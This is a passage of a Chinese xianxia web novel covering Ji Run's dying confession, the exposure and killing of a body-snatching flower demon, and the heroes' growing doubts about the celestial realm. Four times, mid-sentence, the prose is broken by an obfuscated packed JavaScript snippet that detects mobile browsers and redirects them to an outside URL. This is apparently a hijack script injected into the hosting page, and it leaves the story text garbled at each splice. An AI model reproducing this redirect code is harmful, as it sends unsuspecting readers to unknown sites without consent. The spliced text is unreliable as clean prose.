“姐姐死了,姐姐到死前还在对我笑,让我别哭,好好活下去。”姬润重重咳了几声,声音越来越微弱,“我知道的全部,都告诉你们了。对不起,真的对不起,都是我,害了这么多人。这么多年,我无时无刻不在痛苦煎熬,总算现在能以死谢罪了。哈哈哈还在死之前手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378034|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刃了仇人,值了。” 常瀞意识到不对劲,走过去查看姬润的情况,其他人也围拢过来。 重寒向姬润酥释放出柔和的灵力,过了片刻,灵力断开,他摇了摇头。 姬润最后鼓起勇气看向常瀞,断断续续道:“我知道自己现在说什么都显得可笑……但我还是想告诉你,谢谢你,和陶然……愿意和我做兄弟。” 常瀞吼道:“姬润!姬润!你醒醒!你还没有赎罪!你怎么能——” 他悲痛地砸了一下姬润身边沁着血的地面,拳头上留下一道血印,头渐渐地,深深地低下去。 姬润闭上眼,手动了动,在生命的最后一刻想起了那枚静静躺在空间法器里的红色剑穗。剑穗上坠着一颗赤红宝石,和他的主人一样赤诚热情善良,是除了姐姐之外的,第一个愿意向灰头土脸的他,伸出手的人。 陶然,对不起。我对不起常瀞,也对不起你。我是长在在阴沟里的老鼠,内心卑劣阴暗,还是个懦夫,我甚至到最后,都不敢向常瀞承认,你是被我害死的。 常伯父和常大哥判问斩的前一日,陶然回到大昭约姬润见面,他听到常瀞醒来的消息特别高兴激动,聊下筷子就拉着姬润出了食肆,准备去丞相府看常瀞。 刚一出门,陶然就认出了一个举止怪异的人。他告诉姬润,他此次出门为常瀞寻医,意外发现一伙人在拿活人试药,药效很是诡异。他单枪匹马救人,杀死几个,跑了一人,跑掉的人,和这人很像。 陶然当机立断,决定去追。 姬润劝阻不能,只好一同跟上去。因为他知道这人就出自气隐宗,而且与他一道在研究炼丹。 那人越走越偏,姬润的心高高吊起,他已经认出那人是要往气隐宗藏在大昭的炼丹室去,陶然贸然闯进去,怕是要出事。 他又劝陶然。 陶然不在意道:“你是不是怕啦,你要是怕了就先去找常瀞。” “不是——” “那放心吧,我会保护你的,有危险我一定挡在你前面!” 陶然一语成谶,用他的性命践行了这句承诺。 他们一路跟到炼丹室,被里面的人发现,气隐宗此次来的人修为都很高,几招之下,陶然败势已显。 姬润起初在陶然的安排下躲在暗处,一方面是陶然知道他不会武功,另一方面是他害怕被气隐宗的人戳破秘密。 他忍着忍着,终于在陶然剑被挑飞的时候冲了出去。他想求他们放过陶然,哪怕被陶然发现他的阴暗一面,厌恶他讨厌他,也无所谓。 只要陶然能活下去。 可他迈出的步子还是慢了片刻,他冲出去挡在陶然面前,又被陶然推开。 陶然:“快跑!” 他眼睁睁看着利剑刺入陶然胸膛。 陶然倒下去,还死死拖住那人的腿,冲他喊:“跑啊。” 陶然死了,气隐宗的人踢了踢他的尸体,邪笑着问姬润:“认识啊。” 姬润想起姐姐,点了点头,又摇了摇头。 对不起,我到最后,好像也只能不停地对你们说最没有用的,对不起。 67. 金石(十) 重寒酥探了探姬润的鼻息,轻叹一声,起身先把笼罩在小院上的禁锢阵破了。 阵破后,他扫视了一圈院子里的情况,又觉得此举不妥。原本温馨干净的小院地上躺着两具尸体,血流成河,怎么看都是凶案现场,这要是让附近的百姓撞见了,可如何是好。 他正纠结着要不要再把禁锢阵设回来,就有位不速之客推门而入。 党悦午觉睡醒,抱起木雕就向郁离住的地方跑,木雕雕的是人像,基本已经完成,只剩下眼睛的位置是空白。她记得郁离今日是要离开,可她在木雕眼睛的位置比划了半天,还是不敢下刀,就想去碰碰运气,看郁离走没走。 她运气不错,在推开门的瞬间一眼发现郁离还没走,就在院子里站着,可是吧,这院子里的氛围怎么看怎么诡异,地上好多血,血泊上还倒了两个人。 离她最近的那个,记得是叫姬润,和她不熟,不关她事。再往远了,那人好像是…… ——是谢榕! 感觉不妙!她要不还是先溜了吧。 党悦把木雕往衣服里裹了裹,尬笑一声:“你们先忙,先忙,我过会儿再来。” 还没等她跑出多远,就被褚游和冉愉联手擒下。 “你们干什么!这么粗暴地对待小姑娘!放开我!”党悦奋力挣扎,还不忘保护好木雕。 尽管对方看起来就是个乳臭未干的小姑娘,抓她的时候也没感觉出她有什么战斗力,可褚游分毫不敢大意,刀抽出来点点她的鼻尖:“警告你,给我老实点。” 郁离对党悦的心情还很复杂,毕竟她从一开始就给他们植入了太过深刻的天真烂漫形象,以至于郁离无论如何都不敢相信,天尊口中提到的金石城隐患会是这样一个人畜无害的小姑娘。 他蹲下身,平视党悦:“你是被魔物留在金石城的吗?” 党悦自知隐瞒不下去,气场瞬间变化,不再装乖卖傻,声音也尖利起来:“是又怎么样!你们也要像杀了谢榕一样杀了我吗!” “你认识谢榕?” “先松开,弄疼我了!放心,我就是个弱小的花妖,没有任何战斗能力。”党悦奋力一挣,从褚游和冉愉手中抽出胳膊,夹着褚游的刀尖比在自己脖颈上,“这样行了吧。” 常瀞揽住郁离的肩向后带了一步,不管她能不能打,还是不要离太近:“你先说说谢榕。” “他啊,他和那些魔物一伙的,‘魔物’,你们是这么叫的吧。”党悦漫不经心道。 它是一只生长在北境冰原的花妖,弱小到甚至没有化形的能力,唯一的不凡之处似乎就是抗寒,即使地处有不毛之地之称的冰原上,它也可以迎着寒风生长,在月色下开出绮丽的红色花朵。 有流窜在外的魔物同它搭话,偶然间发现了它的另一重不凡之处,它可以催化扩大魔物的感染程度。 魔物许以它化形的自由,条件是和它们离开。花妖想都没想一口答应,它跟着魔物走出冰原,来到人类的村庄和城市,见到了许许多多未曾见过的风景,满心欢喜。 花妖被带到金石城,有它的助力,那一次魔物差点就大获成功。上清境来得比想象中要快,魔物匆忙逃跑,甚至来不及将花妖一同带走。 “是它们把我扔在这里,我出不去,它们也进不来。可是它们舍不下我的能力,竟然搭上了上清境。”花妖打了个哈欠,随手朝谢榕的方向指了指,“喏,就是他。我被困在金石城里的这段时间,就负责种赤莲雨,赤莲雨长成了,再由谢榕送出去。” 郁离:“你说你负责种花,那送出去了有多少量。” “是赤莲雨,我有名字。”花妖不满,立即纠正,不耐烦道,“送出去的,我记不清了。多数情况下隔很久才送一批,毕竟赤莲雨不好种。” “好,那你和党悦是?” 花妖耸耸肩:“我虽说没有伤人的能力,但毕竟是妖,占据一个凡人孩子的躯壳,努努力还是可以的。起初,我只敢占据鸟兽的身体,后来胆子大了,就试了一回小孩。哎,果真是人类的身躯方便,唯一不好的地方就是他们会变老,身体会变得沉重。不过也没关系,用着不喜欢了,再换一具就是。” 寒意涌上心头,郁离忍着不适,继续问:“所以党喜精神失常是发现你占据了她妹妹的身体?” 花妖:“是啊,那日我从上一具躯壳中脱出,恰好发现独自在院子里玩球的党悦,我附在一只鸟雀的身上,趁天黑把她引到无人的田里。正当我占据她的身体时,姐姐来了,占据身体的过程略带血腥,大概把她吓到了吧。真是,明明我从党悦的记忆中看到,姐姐很喜欢我的,可是后来,无论我怎么亲近,她都不肯理我!” 郁离:“那是因为她知道,你不是她妹妹。” “有什么差别嘛,不都是同一张脸,同一个身子。哎先不说这个了,多没意思。”花妖身子朝前探了探,脸上写满了期待,刀刃在脖颈上压出一条血线也没感觉,“你们现在是不是要带我回上清境?我是不是能见到仙人哥哥了!” 常瀞还真没见过这种上赶着要被抓回上清境的妖,准备开口教训教训她,却忽然浑身一紧。那是一种从未有过的感觉,灵魂被人摄取抽离的恐惧感扑面而来,他差点儿喘不过气。 郁离及时托了常瀞一把,才没让他跌倒。 常瀞靠着郁离缓了缓,才发现除了他,重寒酥也出现了类似的状况。 郁离吓了一跳:“没事吧。” 常瀞摇了摇头。 褚游见重寒酥跌倒,想都没想就撤了刀去扶,还好花妖那里还有冉愉看着,他顺着重寒酥的背,紧张道:“这是怎么了,我们几个都没事,就你们俩,不会是躺地上那位谢榕搞的鬼吧,还是还有人在暗处捣鬼?” 发现褚游将怀疑的视线落在自己身上,花妖连忙举起双手:“不是我啊,我可什么都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15405948|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做。” 冉愉道:“我一直盯着,它确实没搞小动作。” 常瀞摆摆手,想着花妖已经审的差不多了,便和冉愉一起把党悦捆在院子里的树上,和众人商量接下来该怎么办。 因为他们遇到了一个难解的困境。 金石城的结界还在,唯一能带他们自由出入的谢榕死了。 他们出不去了。 金石城的结界实在太严密,太阳渐渐西斜,他们尝试了很久,依然递不出去消息。消息暂时递不出去还是其次。主要的大麻烦是花妖,他们须得费一番口舌和党半山一家解释,他们真正的女儿已经死了。花妖配合还好说,万一花妖不配合,倒打一耙说他们才是坏人,那可真是不好说清。 不过花妖看起来比他们还想快点出去,甚至兴致勃勃给他们提建议:“你们刚刚不是提到了进来时的方法吗,现成的办法为何不用?” 郁离:“那用谁的血肉?” 花妖挺胸:“当然是我呀!” 郁离:“这不是你的身体,由不得你做选择。” 花妖眼珠一转:“真正的党悦早就死啦,搞不懂你们在纠结什么。那这样吧,只用我的一点点血,做不到送人出去,送条消息应当能办到吧。” 一点点血,送一条消息。如此一来,既不会损坏党家小女儿的遗体,也可以将消息送出去,他们有些意动。 花妖着急,看他们还在磨磨蹭蹭,催促道:“快点吧,太阳都落山了,再不走,我爹可要找来了。” 常瀞一咬牙,带着花妖就往城外的结界走。花妖眼睛都没眨一下,痛快地拿刀割破手掌,结界撕开一道小口,消息送出去了。 回到城里,他们先去了党半山家,在花妖的配合下,留“党悦”在他们那儿玩几天。党半山乐呵呵应下,末了叫花妖听话,别给人家添麻烦。 郁离看着党半山的笑脸,心里一酸。 事情发展的十分顺利,消息送出去没几个时辰,上清境就来人了。 来的还是天尊湛昀,他踏着月色孤身一人前来。 花妖在湛昀露面的那一刻,异常激动,挣扎着想脱开绳子站起来:“仙——” 湛昀扫了它一眼,想起这些年金石城里屡次发生的孩童不明死亡事件,带着厌恶朝花妖张开手掌。 花妖感觉有一双无形的手攫住了自己的脖颈,未出说口的话就这样被堵在喉咙里,呼吸渐渐不畅,它痛苦地捂住脖子,望向湛昀的眼里满是泪光。 它一点点从党悦身体里被拖出来,再顾不得窒息般的痛苦,慌乱用手去捂自己的妖身。它法力低微,化形出来也人不人鬼不鬼,黑乎乎一团。 它说不出一个字,忍着痛苦在地上爬了几步,想摸湛昀的袍角,却在即将碰到的时候,被湛昀用一道仙术击中。 仙术伴随的光熄灭,地上只余一捧灰,和在阳光下凋零,寸寸成灰的赤莲雨一样。 68. 金石(十一) 第一次附身,花妖选择了一只嫩黄色的小鸟,北境的鸟雀大多是深灰色,所以它对这只鸟鲜亮的羽毛很满意。 附身小鸟后,它活动的范围也大了起来,不再像刚被抛弃后,只敢变回种子藏在土里一样。花妖适应的很快,每日混进鸟群里和小鸟们一起飞翔,一起觅食。 那一日,金石城里来了位仙人,花妖记得他的脸,和魔物大战时,就是他冲在最前面,杀魔最多。 妖力低微也有低微的好,至少花妖此时躲在小鸟体内,没有任何人可以察觉到,它不是一只真正的鸟。 花妖轻巧落在房顶上,蹦蹦跳跳向人群靠近。站在人群里的仙人表情温和,和那日面上染血冷厉一点也不一样。 它立在房檐的边缘,观察了仙人很久。 仙人告别金石城的百姓,来到一处偏僻的院落住下,这处院落不光位置偏僻,连阳光也不好。花妖飞进院子里,被地上还未融化的薄冰冻到了脚,下意识鸣叫出声。 湛昀朝窗外看去,是一只嫩黄色的鸟,正单腿立着僵在冰面上。他推开门走过去,伸出一只手慢慢靠近小鸟。 花妖记得那只手拧断魔尸脖子的狠绝,吓得脖子一缩,立即就想飞走。 那只手却翻了一下,掌心向上泛着淡淡的红色,温和地停在离它不远的位置,看上去竟十分温暖。花妖转了转小眼珠,终是抵不过这股奇妙的吸引力,扑扇翅膀试探着落在了湛昀的手掌上。 果然很温暖呐。 这之后,花妖时常飞来小院,有时湛昀没发现它,它就默默偷窥,有时也会被湛昀逮住,它便绕着湛昀飞几圈,末了落在他主动张开的手掌上。 太阳落了十次山,湛昀离开了,花妖又开始漫无目的瞎晃,附身的鸟兽身体都换了好几具。 再一次同湛昀见面,它附在一条小白狗身上,隔着竹篱就张嘴喜悦地大叫。 它的主人向湛昀道歉:“实在不好意思,它今日也不知道怎么了,平时不这样。” 湛昀翘起嘴角:“无事,它很可爱。” 花妖听湛昀夸它,一个闪身跃过主人的腿,在湛昀脚下蹦来蹦去摇尾巴。 湛昀蹲下来摸了摸它的头,又问:“近来家里都还好吗,有没有发现什么不寻常的事情。” 主人答没有。 又寒暄了几句,湛昀从它的头向下摸,顺了顺它的背毛。主人家的小女儿跑出来,抱住湛昀的腿喊仙人哥哥,湛昀带着笑塞给她一块糖,告辞离开。 仙人,哥哥。 花妖蹲在一旁,张了张嘴,发出的声音却是汪汪汪。 它低落了一会儿,忽然暴起,叼走女孩儿手中的糖。 又过去不知多少年,花妖终于以人类的身份接近了湛昀。这是它精心挑选的一具女童身体,有着圆圆的脸蛋和大大的眼睛,它认为湛昀会喜欢这样相貌的孩子。 这是它第一次和湛昀对话,强行按捺住心头的激动和喜悦,摆出演练过千百回的无辜表情,叫道:“仙人哥哥。” 于是湛昀如它所料地笑着递给它一块糖,一块从头至尾只属于它的糖。 它敏锐地察觉到湛昀对人类孩童的宽和,胆子越来越大,从抱腿到拉手再到闹着要湛昀抱,湛昀都好脾气地一一满足。 花妖趴在湛昀的胸膛上想,做人类真好。 这具人类身体的家和湛昀落脚的小院很近,它强行占了个地利人和,总爱往湛昀那儿跑,时常玩到饭点强行被爹娘揪回去。 这日谢榕传来魔物急需用花的消息,它只好称病,减少去找湛昀的次数,不甘不愿窝在家里守着花开。 湛昀听说邻居小孩病了,专程带了小孩爱吃的糕点和糖果去她家探望。他一进门就被墙角的一盆花吸引了目光。 北境天黑得早,柔和的月光透过窗户笼着一株红色的花,那花像是也知晓自己的艳丽,肆意舒展花瓣,如同在火中盛放。 花妖见湛昀来,下意识挡住那花。 湛昀轻轻拨开它,凑近认真欣赏:“挡什么,这么漂亮的花。小气鬼,吃了我多少糖,连盆花还不叫我看啊。” “这花,漂……漂亮吗?” “当然漂亮,多美啊,我从来没见过,它叫什么名字?” 名字?花妖在心里重复了一遍,它从未想过这个问题,也没有人问过它这个问题。它从有意识以来,就独自生活在无人的冰原之上,哪怕后来被魔物带走,它们也一直喊它,花妖。 它难堪地低下头:“没有……名字。” “那我来取一个?”湛昀碰了碰花瓣,觉得这花的外形和上清境莲池的莲花有六分相似,“嗯……叫赤莲怎么样。不行,单单叫这个又太普通了,加个字吧,这花瓣的形状像是带着泪痕的泪滴,赤莲泪?泪啊哭啊,好像不吉利。那就叫赤莲雨吧,怎么样,和雨滴也很像。” 赤莲雨。 花妖开心地应下:“好!” 它有名字了,它叫赤莲雨。 后来,湛昀每次来金石城,花妖都会以各种各样的面貌接近他,黏在他身边。湛昀从来都不曾发现,他苦苦寻找的心头大患,其实每次在他来金石城都会主动出现他身边。 直到这一次,它夺走党悦的身体,也如愿又见到了湛昀。可他看它的眼神是那样陌生,甚至连说完一句话的机会都不愿给它。 党悦的身体没了支撑,重重砸在地上,从她怀里滚出来一个木雕,木雕衣袂飘飘,气质出尘如同不食人间烟火的仙人,只是那双眼睛还未来得及刻完。 常瀞惊道:“您怎么!” 湛昀揉了揉眉心,脸上满是疲惫之色:“既然都已经问清楚了,这种祸害还是早日处理掉为好,省得叫它跑了,找起来麻烦。” 他说完,看都没看花妖在地上留下的黑灰,去查看谢榕和姬润的尸体。 重寒酥为他掀开盖在尸体上的白布:“您……” “我是真的没想到谢榕他会。”湛昀叹气,“我和他差不多是一同飞升入上清境的,关系从那时起就很好,后来我当了天尊,他则是我的左膀右臂,只要有他在,我无论遇见任何事都很安心,哪怕是——” 常瀞:“哪怕是什么?” 湛昀话到嘴边又咽了回去:“没什么,我只是没想到他会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431392|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走这样一条路。” 常瀞和郁离对视一眼,追问:“您到现在还有事情在隐瞒我们吗?” 湛昀沉默。 “到底是什么事儿,说出来大家一起解决不好吗?”常瀞坚持道。 “小瀞,我不是不想说,我是说不出来。再等等,让我再想想办法,最近不太平,上清境又有两位小仙仙逝,我感觉快要到那个临界点了。”湛昀眉头紧锁,想了想,挑了几句能说出来的说。 重寒酥惊讶:“是谁仙逝了?” 湛昀说出两个他很陌生的名字,是两位负责巡逻的小仙。 郁离不解,疑惑地看着常瀞。上清境高居九霄云上,里面居住的仙君随便拎一个出来都堪称当世最强,铜墙铁壁竟还需要专人巡逻。 常瀞小声解释:“我听闻巡逻队是谢榕提议的,多加防范倒也没错。” 等等,谢榕?这回仙逝的两位小仙是巡逻队的?他记得上一次上清境有仙逝发生,还是在两百年前,那位小仙好像也是巡逻队的。 凡人飞升入上清境,理论上从此便拥有与天地一样漫长的寿数,但还是有极小的概率仙逝。上清境也曾数次调查过,可都没能找到仙逝背后的原因,最后只能当做是意外,是冥冥之中气数已尽。仙逝的仙君不会留下遗体,仿佛从不曾出现在上清境一般,消失得干干净净,与天地同化。 接连三人仙逝都在巡逻队,巡逻队还与谢榕有关,会不会? 常瀞注视着湛昀的眼睛,试图从中发现蛛丝马迹。 “这件事我可以告诉你们,只是你们得保证不泄露出去,我怕引起骚乱。”湛昀又叹了口气,用余光飞快扫了一眼守在一旁的上清境三位编外人员:“此事事关重大……” 常瀞了然:“谢榕的事情他们都知道了,还在乎再多一桩?放心,他们都不会说出去的。” 郁离和冉愉郑重点头,褚游则配合地用嘴做出一个闭严的动作。 湛昀磨蹭半天,权衡着开口:“其实上清境巡逻队的人选是谢榕一手操办的。” “?!” 湛昀深吸一口气,像是终于下定了某种决心:“和方才提到的仙逝有关,里面实则门道很深,不是因为意外,也不是气数已尽,而是……而是一种牺牲,十分惨痛的牺牲,具体的原因,原谅我,我说不出来。” 常瀞懵了:“为什么不能说。” “因为某种限制,知道此事的人都说不出口,我们试过很多方法,都说不出口。” 郁离:“你们?除了您和谢榕,还有人知道吗?你们又是如何知道的?” “还有星悬。我是看到上一任天尊留下的信息,谢榕是从魔物口中得知,魔物好像不受限制。星悬,她是占卜出来的。” 郁离飞快整合了一下现有的信息,拼凑出一个难以置信的恐怖真相。他震惊地看向湛昀。 湛昀此时已经平静下来:“小瀞和寒酥都知道,上清境飞升一事由三元鉴指引。谢榕从凡间选了一些罪大恶极之人,利用他的隔灵阵短暂迷惑三元鉴,将这些人编入上清境,作为我们的替代品,代替上清境的其余人牺牲。” 69. 金石(十二) 湛昀甩下一个惊天消息,让在场的众人在震惊过后都沉思了许久。 “不早了,我还得回上清境。这次连着仙逝两人,总让我感觉留给我们的时间不多了。”湛昀叹了口气,凝视远方天空亮起的一抹金光:“离开前,我会解开金石城的封印,后续和城里百姓沟通解释的任务就交给你们了。” 常瀞还很混乱,叫住湛昀,却不知道该问什么:“您等等……” 湛昀嘴角微弯:“小瀞,我刚知晓此事的时候,也同你们一样慌乱。但是,有些事,总要有人去做,去扛起来。从前是我,如今是你们。” 常瀞:“我明白了……” 湛昀走出几步,又偏头说了句:“姬润和……谢榕,我回上清境后,会派人来带他们回去。” 他们把谢榕和姬润的尸体搬回房间,再出来时,金石城上方笼罩了几百年的封印已经散去。 金石城早起的百姓们也发现了封印的消失,议论纷纷。他们费了好一番功夫,才把事情的原委解释清楚,让百姓们相信,金石城从今往后都可以自由出入了。 最令他们难以面对的,是党家。 郁离擦干净党悦粘上灰尘的小脸,抱起她来到党家,在党家夫妇震惊痛苦的哭声中,断断续续讲完了党悦被花妖替换,以及党喜精神失常的来龙去脉。 党家夫妇握住党悦冰冷的小手,哭红了双眼。他们不愿相信,把凶手当做亲生女儿疼爱了这么多年,而他们的亲生女儿却早已魂飞魄散。 杂物间的门开了,党喜木着脸走出来,一步一步挪到妹妹的尸体身边,仔细辨认了许久。 这一次,她拉住了妹妹的手。 郁离张了张口,觉得此时所有相劝的言语都显得苍白无力,最后只是拍了拍党半山的肩膀,将空间留给了党家。 天尊的动作很快,郁离和常瀞回到小院时,负责留守的冉愉告诉他们,姬润和谢榕的尸体已经被接走。 常瀞怔住,半晌才道:“好……” 郁离轻轻牵住常瀞的手。 兵荒马乱的一天终于结束,天色太晚,他们商量了一下,觉得今夜在金石城暂且歇下,明日再离开。 短短一天发生了太多事,郁离在床上翻来覆去,怎么也睡不着。 “没睡呢。”常瀞贴着郁离的耳朵问。 郁离动了动:“睡不着。” 常瀞揽过郁离,叹了口气:“我也是,心神不宁的,一直在想天尊他们选择找替代品背后的真实原因是什么,还有什么势力有如此大的能量,能越过上清境定下如此禁制。” “势力吗……”郁离沉吟,“咱们在六河镇秘境,发现的那些在历史中被抹去的妖族,和上清境这件事也很像,会不会是同一股势力。” 常瀞:“你这样一说,不无可能。” 郁离:“飞升入上清境即是仙人,这个世上还有比仙人更高的存在吗?” 常瀞:“不会了吧……” 窗外飘来淡淡的香火味,是金石城家家户户的百姓在供奉仙人。 今早百姓们得知金石城封印已开,便自发来到城中间的祭坛供奉祈祷,祭坛外排起长龙。没来得及排上祭坛的百姓,在家中也点起供奉的香火,感谢不辞劳苦,解救他们的仙人。 一时间,金石城里满是香烛燃烧的味道。 郁离闻着香烛味,忽然开口道:“他们都在感激仙人,平时也向仙人祈求保佑,可是天尊真能听到吗?” 常瀞随口答道:“寻求庇佑的人太多了,仙人也不会个个都听到吧。” 郁离支起身靠在墙上:“比如你呢,太阴星君司掌姻缘?你可曾听到过一些祈求姻缘的声音。” “我为什么会听到?你看凡间供奉的神佛塑像也不是我们上清境这些人的脸吧。上清境虽然多数人占了个神仙的名号,但其实主要任务还是解决魔物和维持三界秩序。”常瀞从没想过这个问题,也起身靠坐在郁离身旁,“就比如寒酥,他是春神,农桑之事是自然规律,根本无需他插手,他只是会偶尔在凡间地头走走看看,最多降上一场小雨。若遇大旱,他也无从干预。” 郁离消化了一下常瀞的话里的意思,发现了一个很奇怪的点,他的声音有些颤抖:“那为何要说飞升,飞升飞升不就是成仙的意思吗?这样的飞升算是成仙吗?你既然掌管不了姻缘,怎能说自己就是太阴星君?” 常瀞觉得身后这墙真硬,靠着很不舒服,正琢磨着要不要掏个软垫出来,就被郁离的话一惊,猛然抬起头与他对视,都看到了对方眼中的惊惶。 郁离艰难张口:“如果世间万事万物一直是按照规律执行,那在没有上清境的时候,它们其实也有好好在运转。上古时期上清境横空出世,飞升才被具现,成为每一位修仙者的终极追求。但如今想来,上清境其实更不如说是一个比凡间修仙宗门更强大的组织吧。” 常瀞不敢相信:“不对不对,这不对呀,不应当是这样的。那个,对,羲和大人,景曦他每天还去赶太阳呢。” “你怎么能确定太阳就是因为每天他赶才出来的?太阴星君除了司掌姻缘,还被称作是月神,你能控制月升月落吗?”郁离继续道,“如今仔细想想,你不觉得飞升成仙更像是为上清境套上了一层好听的壳子吗?是谁一手促成上清境,定下上清境搞不清楚缘由的既定牺牲,还有抹去秘境中那些妖族的存在痕迹,这些背后是同一股势力吗?” 常瀞打了个寒战:“若你说的是真的,如此明显的事情,从上古至今,上清境兜兜转转换了多少批人,没一个人注意到?” “或许是因为我们进了那个秘境?再加上天尊给了我们暗示?”郁离猜测,“那股力量就如同是一层挡在所有人面前的无形大雾,我们窥见了那层雾背后的秘密,对我们的遮蔽效果便不大了。” 常瀞冷静下来:“我还是不敢相信,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518900|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事太大了,相当于推翻了我们所有的认知。事已至此,咱们在秘境里发现的事也用不着隐瞒了,趁着明天大家都还在,一块告诉大家吧。” 次日,饭后。 “什么?!”诸游拍桌,“这么重要的事现在才说?!” 重寒酥一脸凝重,显然也是看出了这两件事千丝万缕的联系,以及暗藏在它们背后的黑暗。 冉愉苦笑:“我们实在是难以相信,也找不到任何真实的证据。” 几人七嘴八舌讨论了一通,依旧找不到一点方向。 “那差不多先到这里吧,以后有什么线索大家再互相告知。”郁离看了看窗外的天色,先问冉愉:“你直接回太虚山吗?要不要跟我和诸大哥一起,还挺顺路的。” 冉愉犹豫片刻,答应下来。 常瀞下意识薅住郁离的手:“急什么,这太阳不还高高挂着呢。或者你让诸游先走,咱们再等几天,北境我还没怎么来过呢,咱们可以在附近转转,然后我送你回鸡鸣巷。” 重寒酥重重咳嗽一声:“这金石城的事情都结束了,可别忘了还得回去汇报呢。” 郁离面具下闹了个大红脸:“别闹了,我出来这一趟时间够长了,过一阵,我忙完了去找你,或者你来找我都行。” “那可不行,我不把我们小阿离亲自带回去,施娘可是要找我麻烦。”诸游抱臂靠在椅背上,从他知道郁离和常瀞确认关系起,他就对常瀞没什么好脸色,“从前怎么没看出来星君这样粘人,以后日子还长呢。” 诸游一番话,刺得常瀞额头青筋直跳,但他一想到诸游如今也算是郁离的娘家,硬是勉力挤出一丝笑,忍住了。 “还早呢,再陪我一会儿。”常瀞眼睛一眨不眨盯着郁离,满眼渴求。 郁离明知他是故作可怜,拒绝的话到了嘴边愣是说不出来。 “那再给你一个时辰,一个时辰后,咱们城门口见。”诸游放下杯子,邀请重寒酥一起去城外的林子里转转,上次在林子里发现了一些只在北境才会生长的花,重寒酥很感兴趣。 冉愉笑道:“那刚好,我可以去街上转转,给宗门的馋猫师弟师妹们带点吃的回去。” 郁离和常瀞出了金石城,沿着河道慢悠悠闲转,一路上遇见不少出城玩的百姓,纷纷和他们打招呼。 人太多,郁离不好意思地抽了抽手,常瀞却越握越紧。慢慢地,郁离也放松下来,回握回去。 孩子们在大人的看护下,呼朋引伴尽情撒欢,宽阔的河面和一望无际的森林对他们来说无比新奇。 年龄大点儿的人也对远方充满了向往,个别心急的甚至已经收拾好了行囊,三五相邀踏上旅途。 只有上了年纪的老人,停到城门口向外望了望天空,又转身回家。他们一辈子生活在金石城,豪情和壮志早已被时间磨平,对现在的他们而言,城里和城外,没什么太大的区别,都是同一片天空。